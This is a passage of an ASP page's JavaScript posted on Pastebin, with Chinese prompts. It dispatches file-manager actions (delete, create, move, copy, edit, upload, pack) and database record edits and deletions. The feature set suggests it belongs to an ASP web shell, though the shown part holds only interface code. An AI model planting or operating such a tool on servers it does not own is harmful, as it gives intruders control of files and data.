  2184.     if(cmd == 'submit'){
  2185.         frm.theAct.value = '';
  2186.     }
  2187.  
  2188.     if(cmd == 'del'){
  2189.         if(confirm('您确认要删除选中的 ' + j + ' 个文件(夹)吗?')){
  2190.             frm.theAct.value = 'del';
  2191.         }else return;
  2192.     }
  2193.  
  2194.     if(cmd == 'newone')
  2195.         if(strTmp = prompt('请输入要新建的文件(夹)名', '')){
  2196.             frm.theAct.value = 'newone';
  2197.             frm.param.value = strTmp + ',' + str;
  2198.         }else return;
  2199.  
  2200.     if(cmd == 'move' || cmd == 'copy'){
  2201.         frm.theAct.value = cmd;
  2202.     }
  2203.  
  2204.     if(cmd == 'showedit' || cmd == 'showimage'){
  2205.         frm.theAct.value = cmd;
  2206.         frm.param.value = str;
  2207.         frm.target = '_blank';
  2208.     }
  2209.  
  2210.     if(cmd == 'Query'){
  2211.         if(str == '0'){
  2212.             str = 1;
  2213.         }else{
  2214.             frm.reset();
  2215.         }
  2216.         frm.theAct.value = cmd;
  2217.         frm.param.value = str;
  2218.     }
  2219.  
  2220.     if(cmd == 'access'){
  2221.         frm.theAct.value = 'ShowTables';
  2222.         strTmp = frm.PageName.value;
  2223.         frm.PageName.value = 'PageDBTool';
  2224.         frm.thePath.value = frm.truePath.value + '\\' + str;
  2225.         frm.target = '_blank';
  2226.     }
  2227.  
  2228.     if(cmd == 'upload'){
  2229.         frm.PageName.value = 'PageUpload';
  2230.         frm.thePath.value = frm.truePath.value;
  2231.         frm.target = '_blank';
  2232.     }
  2233.  
  2234.     if(cmd == 'pack'){
  2235.         if(confirm('您确认要打包选中的 ' + j + ' 个项目吗?')){
  2236.             frm.PageName.value = 'PagePack';
  2237.             frm.theAct.value = 'PackOne';
  2238.             frm.target = '_blank';
  2239.         }else return;
  2240.     }
  2241.  
  2242.     frm.submit();
  2243.     frm.target = '';
  2244.     frm.PageName.value = strTmpB;
  2245.     frm.reset();
  2246. }
  2247.  
  2248. function showSqlEdit(column, str){
  2249.     var frm = document.forms[1];
  2250.     if(!str)return;
  2251.     frm.reset();
  2252.     frm.theAct.value = 'edit';
  2253.     frm.param.value = column + '!' + str;
  2254.     frm.target = '_blank';
  2255.     frm.submit();
  2256.     frm.target = '';
  2257. }
  2258.  
  2259. function sqlDelete(column, str){
  2260.     var frm = document.forms[1];
  2261.     if(!str)return;
  2262.     if(!confirm('确认要删除这条记录?'))return;
  2263.     frm.reset();
  2264.     frm.theAct.value = 'del';
  2265.     frm.param.value = column + '!' + str;
  2266.     frm.target = '_blank';
  2267.     frm.submit();
  2268.     frm.target = '';
  2269. }
  2270. function preView(n){
  2271.     var url, win;
  2272.     if(n != '1'){
  2273.         url = document.forms[1].truePath.value
  2274.         window.open('/' + escape(url));
  2275.     }else{
  2276.         win = window.open("about:blank", "", "resizable=yes,scrollbars=yes");
  2277.         win.document.write('<style>body{border:none;}</style>' + document.forms[1].fileContent.innerText);
  2278.     }
  2279. }
  2280. </script>
  2281. <%
  2282.     End Sub
  2283. %>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top